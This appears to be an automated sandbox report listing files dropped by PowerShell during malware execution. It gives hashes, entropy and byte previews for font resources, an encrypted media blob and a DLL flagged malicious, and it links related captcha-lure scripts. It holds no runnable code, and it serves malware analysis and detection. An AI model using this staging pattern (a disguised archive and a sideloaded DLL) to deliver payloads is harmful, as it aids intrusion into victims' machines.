Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\._CYRILLIC.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\._GREEK.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\._ICELAND.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\._ROMAN.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\._ROMANIAN.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\._SYMBOL.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\._TURKISH.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\._UKRAINE.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\win\._CP1250.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\win\._CP1251.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\win\._CP1252.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\win\._CP1253.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\win\._CP1254.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\win\._CP1257.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\win\._CP1258.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\carferry.flv

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	12108
Entropy (8bit):	6.288980552421208
Encrypted:	false
SSDEEP:	192:hQybRAKeTbBNJQy9icUy0VbOAMOrK89Iy7vgE1zq78yEIgk6kh:hDbyKIBnQ+UdVTRZvgEJYqkRh
MD5:	16A30926E4EBC495D3659854C3731F63
SHA1:	2B46D1EE4F0B9C6B184AAD6D9A246745B3B4163C
SHA-256:	DC260B93C358E10FC6F74C0B9F487DD0C2FD58E791EC5B0925B0546258923B36
SHA-512:	04A4893E068A6BCBEC340398868B37ADCF8D41580B2E6EB7A5CD30396A14ACD401E67CFBB0E3ED05FA31601CB0261B82DF2A4D9A3713DB7E39C61C7FB64EA71F
Malicious:	false
Preview:	..u.d.y.gvqc....Mcpu[..Z..G..H.m.J..i...D.Qp..FT..M....`OV..Uia.OE..b..wY...L.O.C..MhYv...QSBC.q......\...L.k[.nncg[FCjQDd.^...IrFT]F.o.R...G...[J.Cp.l.n.....^..s......A..Ce.UW......JBo.....kafR...c.p...XHa.P..c..qmHJ....PWq_Rw.K.[.SHC.n`..\Y^....U.Kyy_p.c.jj.X.W..Ch..Mhr.o...A...c.......lu.CWrmj.u.[..i.Za._c`a.Q.L.wqit`[.H.N.t...R..Uk...M.h\v.ZN...eq.....C....T....xA......u..qiKDpbnPto.taU..E.pb.t.H..lNEFOJ....FT_.Tdy...NUa.v.Etx..b....S....l.ni.j^mBQW...MRZ....f...rgL.p..F.[its........\....FO....c.HyEE..q..Q.g.G.....bUP..Xuv.G.w.F........Vp[.f..uf......LKXa._..Z.ZX...osp..qUG.B^\....r.F.FSdO]Psd.w.fVlQ..f_T.xid_.h.LQ.].BjdKuMfH..ZAZLt...K.QR.q..h.w.H..a..D....PPf..A..EFs.bnjJr...._..y..dI....VA]qE...tFk..Q.bqe`I.k......].....j..[D.a..C.D.....qN[...`U.BMe.....kJs.U.d.......U_y.....R....Kt..DI...wTdQX..m.D.QleMgR[Qd.n.`..yaIDABEap..q.bs..Ww.sT....._cl..Ii..X.K..k.w.A.tF...Fqn.h.pxL..[.sK.O.FVpi....o.b.....B.vkA\n_.T.....S......Djq..j.U.M...vH.f.J.bp..Jm.n.......G......L.u..H...Q.p..[\.

C:\Users\user\AppData\Roaming\Extracted1\libvlccore.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2673912
Entropy (8bit):	6.903320844778949
Encrypted:	false
SSDEEP:	49152:hDWA3C12sNU/wEz2tMEjv9DZWtxfc1lVG3QNVBAUZLYasUpGaXBuQQ9umM:t3O2wEz2tMEj1lWtOrVG3QNVBAUZLX/
MD5:	E25413BB41C2F239FFDD3569F76E74B0
SHA1:	073E2A86C5C24EDE4C4AD2D8614261121A8D2661
SHA-256:	9126D9ABF91585456000FFFD9336478E91B9EA07ED2A25806A4E2E0437F96D29
SHA-512:	37B8339555DCF825A2E27464EB1D101F8E4B56460D1B78161E99BA6761F1A967668F11BA888A712C878D468F419A455DBC5E8E55E7FB9D4FBC87CB78F500EA9F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: xaSPJNbl.ps1, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: a.ps1, Detection: malicious, Browse Filename: verify-captcha-987.b-cdn.net.ps1, Detection: malicious, Browse Filename: verifyhuman476.b-cdn.net.ps1, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: d7Kl3qTVng.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....:.:..(........!..........(..8........... ....tj.........................P).....?M)...@... .......................'.xU... (.. ...p(.H.............(..:....(.....p'......................`(.....................`%(..............................text...............................`.P`.data........ ......................@.`..rdata... ...@..."...,..............@.`@.buildid5....p'......N'.............@.0@.bss.....7....'.......................`..edata..xU....'..V...P'.............@.0@.idata... ... (.."....'.............@.0..CRT....,....P(.......'.............@.0..tls.... ....`(.......'.............@.0..rsrc...H....p(.......'.............@.0..reloc.......(.......'.............@.0B/4...........@).......(.............@.0B................................................................................................................................................

C:\Users\user\AppData\Roaming\Extracted1\resource_\CMap\Identity-H

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	8228
Entropy (8bit):	5.132524855127476
Encrypted:	false
SSDEEP:	192:QJeSrsQrsil/3gU+uSpo4cvkikNwA+KZwOyKXuU8fy:QJhrsQrsWPsu+oVkEKZnNz8fy
MD5:	40F5DC1383E3E8F870ED8F763ED51878
SHA1:	474A429DE3B9FEBA36CFA4CE4EDCD4FAE3CDDC5B
SHA-256:	AAE946BC17203B5DF12838D07AE5CAFC9E85A1D42D1B94D8475AB2D42B77A5CB
SHA-512:	69B6D3AF2CCAAE9437FE4E0206C44D29EC7A51F39334826737907E1126505071BA888F4134DE55A07CF14256B47DAF6D29CC73BAB60F3C6CD7D8BB30E24778FB
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (Identity-H)..%%Title: (Identity-H Adobe Identity 0)..%%Version: 10.001..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2009 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer in the documentation and/or other materials..%%Copyright:

C:\Users\user\AppData\Roaming\Extracted1\resource_\CMap\Identity-V

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	2761
Entropy (8bit):	5.338925731793176
Encrypted:	false
SSDEEP:	48:7alblVd2UZOSrYJQrYJLL4dhPn/32sNGFt3Ehov1JTYHeGTy9UWT/D/:QJVd2UMSrYJQrYJLWl/3gF9M+uy9Uk/
MD5:	B5084CBF0AB0C3DEAC97E06CD3CB2ECC
SHA1:	C32458CDA1951CECFFB69AA2F7E3A1EA8BF36251
SHA-256:	7483DB44E4449A7AE232B30D6CBA0D8746592757D0E91BE82EC45B646C608807
SHA-512:	B15F65A2AB21121A4B815932A7E2DCAFCF27F458BCE532AE46BBCBD6B1134153027BF3E138FAB42457A89BC892256B4796BBB9F1E3A85F9F4C5202015B56E3A5
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (Identity-V)..%%Title: (Identity-V Adobe Identity 0)..%%Version: 10.001..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2009 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer in the documentation and/or other materials..%%Copyright:

C:\Users\user\AppData\Roaming\Extracted1\resource_\CMap\UCS2-GBK-EUC

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	243835
Entropy (8bit):	4.336925781445846
Encrypted:	false
SSDEEP:	6144:JAYrjXraHOiu06s7SSC2RGaC4J7G27r7Sbtg2j35GEE9:JAYrj7aHOip6rShXC4J7G27r7Sbtg2j0
MD5:	FB9D6CD4449EC7478EE8AD1BD7465BF5
SHA1:	3D42495890E0F2ACC6B564EAA79FE020FDD2FC79
SHA-256:	66CDCAED3AA94525C59A82A39A93B96885883BFFADEA1E572464D559D21443A6
SHA-512:	259467113CDA70BA8D399E233BEF8A718F76BC6B977AC54C216BD53796A8003E7A7276031388E282F1F4430FC2FCD269B06341F2082A9442A65BBCCDEB767EB1
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (UCS2-GBK-EUC)..%%Title: (UCS2-GBK-EUC)..%%Version: 4.002..%%Copyright: -----------------------------------------------------------..%%Copyright:..%%Copyright: Copyright 1990-2002 Adobe Systems Incorporated. All Rights Reserved...%%Copyright:..%%Copyright: PostScript and Display PostScript are trademarks of..%%Copyright: Adobe Systems Incorporated which may be registered in..%%Copyright: certain jurisdictions...%%Copyright: -----------------------------------------------------------..%%..%% This is not a CMap file. This file is intended to be used by Adobe Acrobat or..%% licensee of the Adobe PDF Library...%%EndComments..../CIDInit /ProcSet findresource begin....12 dict begin....begincmap..../CIDSystemInfo 3 dict dup begin.. /Registry (Adobe) def.. /Ordering (UCS2_GBK_EUC) def.. /Supplement 2 def..end def..../CMapName /UCS2-GBK-EUC def../CMapVersion

C:\Users\user\AppData\Roaming\Extracted1\resource_\CMap\UniKS-UTF16-H

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	131902
Entropy (8bit):	4.421890291466171
Encrypted:	false
SSDEEP:	3072:EbOks6xITS4gmLJpAEhFDDvBB4TS+JjXsc:jjTvIN3
MD5:	F65C06189A55139E13885D9716BFE35C
SHA1:	394285FED905D0F4C2C21230DA50626B0A31A037
SHA-256:	AB87D320C81E4C761B7A4CBD342E212DB4EBE169B5D10848F2F57D828874E342
SHA-512:	CAF07D2623861F60D79ACFB313978B89F9CD8FEEA0BED0FE28D25286D197B62B9EF9A41130586D731DC43AEAE817EAAA87C9CAC31D9BD1FDB82591146E0FA2CB
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (UniKS-UTF16-H)..%%Title: (UniKS-UTF16-H Adobe Korea1 1)..%%Version: 1.005..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2012 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the 